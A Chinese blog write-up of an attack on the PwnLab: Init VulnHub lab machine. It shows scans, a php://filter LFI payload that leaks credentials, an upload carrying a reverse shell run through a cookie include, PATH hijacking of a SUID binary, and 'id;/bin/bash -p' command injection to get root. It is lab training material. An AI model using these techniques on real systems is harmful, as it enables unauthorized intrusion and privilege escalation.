vulnhub靶机渗透：PWNLAB: INIT

靶机环境介绍

https://www.vulnhub.com/entry/skytower-1,96/

靶机IP：192.168.56.103
kali IP：192.168.56.102

nmap扫描

端口扫描

# Nmap 7.93 scan initiated Mon Jul 10 02:36:32 2023 as: nmap -Pn --min-rate=10000 -p- -oN nmap/ports 192.168.56.103
Nmap scan report for 192.168.56.103
Host is up (0.019s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
3306/tcp  open  mysql
39285/tcp open  unknown
MAC Address: 08:00:27:4E:3E:AA (Oracle VirtualBox virtual NIC)

# Nmap done at Mon Jul 10 02:36:47 2023 -- 1 IP address (1 host up) scanned in 15.95 seconds

服务扫描

# Nmap 7.93 scan initiated Mon Jul 10 02:38:36 2023 as: nmap -sVC -O -p80,111,3306,39285 -oN nmap/details 192.168.56.103
Nmap scan report for 192.168.56.103
Host is up (0.00074s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          39285/tcp   status
|   100024  1          41776/tcp6  status
|   100024  1          50160/udp6  status
|_  100024  1          54782/udp   status
3306/tcp  open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 41
|   Capabilities flags: 63487
|   Some Capabilities: ODBCClient, Support41Auth, ConnectWithDatabase, InteractiveClient, LongColumnFlag, LongPassword, SupportsTransactions, FoundRows, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsCompression, Speaks41ProtocolOld, Speaks41ProtocolNew, IgnoreSigpipes, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: *}^>W|+\o;t[H7z$@UlA
|_  Auth Plugin Name: mysql_native_password
39285/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:4E:3E:AA (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 10 02:38:57 2023 -- 1 IP address (1 host up) scanned in 24.39 seconds

漏洞扫描

# Nmap 7.93 scan initiated Mon Jul 10 02:38:36 2023 as: nmap -sVC -O -p80,111,3306,39285 -oN nmap/details 192.168.56.103
Nmap scan report for 192.168.56.103
Host is up (0.00074s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          39285/tcp   status
|   100024  1          41776/tcp6  status
|   100024  1          50160/udp6  status
|_  100024  1          54782/udp   status
3306/tcp  open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 41
|   Capabilities flags: 63487
|   Some Capabilities: ODBCClient, Support41Auth, ConnectWithDatabase, InteractiveClient, LongColumnFlag, LongPassword, SupportsTransactions, FoundRows, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsCompression, Speaks41ProtocolOld, Speaks41ProtocolNew, IgnoreSigpipes, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: *}^>W|+\o;t[H7z$@UlA
|_  Auth Plugin Name: mysql_native_password
39285/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:4E:3E:AA (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 10 02:38:57 2023 -- 1 IP address (1 host up) scanned in 24.39 seconds

扫描总结

通过阅读nmap扫描结果，发现开放了80,111,3306,39285端口，由于111和39285都是rpc服务，这里先渗透80端口，然后再3306端口。

80端口

边浏览网页，边进行目录爆破。

目录爆破

┌──(kali㉿kali)-[~/oscp/14.PWNLAB-INIT]
└─$ sudo gobuster dir --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,rar,txt,html,jsp,zip -u http://192.168.56.103 | tee gobuster.log
[sudo] kali 的密码：
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.103
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,txt,rar,html,jsp,zip
[+] Timeout:                 10s
===============================================================
2023/07/11 02:54:56 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 332]
/.html                (Status: 403) [Size: 294]
/images               (Status: 301) [Size: 317] [--> http://192.168.56.103/images/]
/.php                 (Status: 403) [Size: 293]
/login.php            (Status: 200) [Size: 250]
/upload               (Status: 301) [Size: 317] [--> http://192.168.56.103/upload/]
/upload.php           (Status: 200) [Size: 19]
/config.php           (Status: 200) [Size: 0]
/.html                (Status: 403) [Size: 294]
/.php                 (Status: 403) [Size: 293]
/server-status        (Status: 403) [Size: 302]
Progress: 1543911 / 1543927 (100.00%)
===============================================================
2023/07/11 03:00:38 Finished
===============================================================

通过阅读网页，源码没发现什么有效信息，登录界面尝试使用万能密码和默认凭据是，发现无法成功，但通过访问login页面和upload页面，发现url可能存在文件包含。于是接下来尝试使用php伪协议进行利用。

LFI利用

由于网站里使用的文件包含会立即执行php代码，所以这里需要将其编码，这样才会显示出来，所以使用这个php://filter,而这个的具体构造语句如下：?file=php://filter/read=convert.base64-encode/resource=文件路径

拿去解码,将解码后的保存到本地。通过之前浏览网站，需要获取的文档有以下几个：index,login,upload，对保存下来的php代码进行审计，首先是index，比较感兴趣的是这个，他通过cookie，包含了lang的参数，需要留意。

然后是login,这里比较感兴趣的是：

这里需要用到config.php，同样使用伪协议http://192.168.56.103/?page=php://filter/read=convert.base64-encode/resource=config(不知道为什么这里使用config.php无法显示，而使用config可以)下载到编码后的代码，解码后保存。


最后是uploads，这里写了上传的限制，需要绕过的话还需要仔细阅读，这里先尝试获取凭据登录，这样才会到这一步。

在上面的config.php中获得一个root凭据，尝试登录web端页面，发现无效。于是联想到开放了3306端口，尝试登录。发现成功。

3306端口

发现三个用户，发现密码进行base64编码，解码！

尝试使用以上凭据登录，发现能成功，这样就进行到上传文件阶段啦。

回到80端口

文件上传

通过代码审计，发现只能上传白名单中的后缀名的文件，且需要有mime文件头。
这里通过构造文件。通过抓包查看数据，在文件的最后我插入了反弹shell。

上传成功，但是如何执行这个反弹shell呢？还是通过代码审计，在之前的index文件中，发现通过包含cookie中的lang值，可以进行php解析。

这里构造cookie时记得返回上一级。

获得立足点

查看passwd文件，发现存在之前在mysql中查询到的用户，这里尝试切换用户，发现报错，使用python提升一下交互性。

www-data@pwnlab:/var/www/html$ su su kent
su kent
su: must be run from a terminal

www-data@pwnlab:/var/www/html$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"

横向移动

切换用户到kent，回到/home/kent未发现有用信息，切换到mike，发现验证错误，于是尝试切换到kane，成功，进入/home/kane，发现存在msg2mike。

kent@pwnlab:~$ su mike      
su mike
Password: SIfdsTEn6I

su: Authentication failure
kent@pwnlab:~$ su kane       
su kane
Password: iSv5Ym2GRo

kane@pwnlab:/home/kent$ cd /home/kane      
cd /home/kane
kane@pwnlab:~$ ls    
msgmike
kane@pwnlab:~$ ls -liah       ls -liah
ls -liah
total 32K
   65 drwxr-x--- 2 kane kane 4.0K Jul 11 11:19 .
 1558 drwxr-xr-x 6 root root 4.0K Mar 17  2016 ..
30347 -rw------- 1 kane kane  164 Jul 11 10:44 .bash_history
   78 -rw-r--r-- 1 kane kane  220 Mar 17  2016 .bash_logout
   73 -rw-r--r-- 1 kane kane 3.5K Mar 17  2016 .bashrc
27221 -rwsr-sr-x 1 mike mike 5.1K Mar 17  2016 msgmike
   75 -rw-r--r-- 1 kane kane  675 Mar 17  2016 .profile

发现msgmike是s权限文件。先使用strings文件查看内容。

这里发现它使用了cat命令，但是没有使用绝对路径，可以尝试命令劫持。

kane@pwnlab:~$ echo $$        # 查看shell的process id
echo $$
5041
kane@pwnlab:~$ echo "/bin/bash" >/tmp/cat # 将 /bin/bash 写入/tmp/cat中
echo "/bin/bash" > /tmp/cat
kane@pwnlab:~$ echo $PATH    # 查看当前$PATH
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ export PATH=/tmp:$PATH # 将/tmp路径放到$PATH最前面
export PATH=/tmp:$PATH
kane@pwnlab:~$ echo $PATH     # 查看修改后的$PATH
echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ ./msgmike      # 执行msgmike
./msgmike
mike@pwnlab:~$ echo $$       # 查看shell的process id ，发现已经不同了 说明这里已经成功了
echo $$
5055
mike@pwnlab:~$ whoami      # 发现已经是mike用户了
whoami
mike

mike@pwnlab:~$ whoami    
whoami
mike
mike@pwnlab:~$ cd /home/mike 
cd /home/mike

mike@pwnlab:/home/mike$ ls -liah  
ls -liah
total 28K
   63 drwxr-x--- 2 mike mike 4.0K Mar 17  2016 .
 1558 drwxr-xr-x 6 root root 4.0K Mar 17  2016 ..
   74 -rw-r--r-- 1 mike mike  220 Mar 17  2016 .bash_logout
   70 -rw-r--r-- 1 mike mike 3.5K Mar 17  2016 .bashrc
27220 -rwsr-sr-x 1 root root 5.3K Mar 17  2016 msg2root
   71 -rw-r--r-- 1 mike mike  675 Mar 17  2016 .profile

使用strings 查看msg2root内容，

发现执行了该命令，/bin/echo %s >> /root/messages.txt 这句话是将语句输入到/root/messages.txt,那如果语句是这个id;id;呢？那就会变成/bin/echo id;id; >> /root/messages.txt ，会输出id的内容！
尝试一下，思路是否正确。

mike@pwnlab:/home/mike$ ./msg2root       
./msg2root
Message for root: id;id;
id;id;
id
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)

成功了，还是root用户！

提权

既然是root用户， 那就起一个bash环境。

mike@pwnlab:/home/mike$ ./msg2root         
./msg2root
Message for root: id;/bin/bash -p
id;/bin/bash -p
id
bash-4.3# echo $PATH # 这里记得将$PATH修改回去，因为之前修改的cat和$PATH可能还会生效，下面是我修改后的
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
bash-4.3# whoami
whoami
root
bash-4.3# uname -a
uname -a
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
bash-4.3# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 08:00:27:4e:3e:aa brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.103/24 brd 192.168.56.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe4e:3eaa/64 scope link 
       valid_lft forever preferred_lft forever
bash-4.3# cat /root/flag.txt
cat /root/flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For sniferl4bs.com  (__  _)
( _ __)                                claor@PwnLab.net - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-'                                                                 `-._.-'

总结

1、发现文件上传漏洞时，可以使用php伪协议等获取源码，见参考1；
2、需要具备代码审计能力，文件上传绕过等还需要加强；
3、发现凭据时，要进行密码碰撞，不要仅仅局限在某个服务上；
4、获取某用户shell后，应该回到其家目录下寻找有用信息；
5、出现su: must be run from a terminal等情况，应该使用python的pty提高shell交互性；
6、发现可执行文件时，可以使用strings工具查看其内容；
7、命令劫持时，需要修改$PATH变量，可以通过$$查看当前SHELL的PID；
8、发现shell语句时，要想办法绕过,例如/bin/echo %s >> /root/messages.txt，可以使用分隔符结束命令，然后写入其他命令。

参考

1、https://blog.csdn.net/qq_53079406/article/details/125915640
2、https://cyberchef.org/
3、https://www.bilibili.com/video/BV13c411V7dY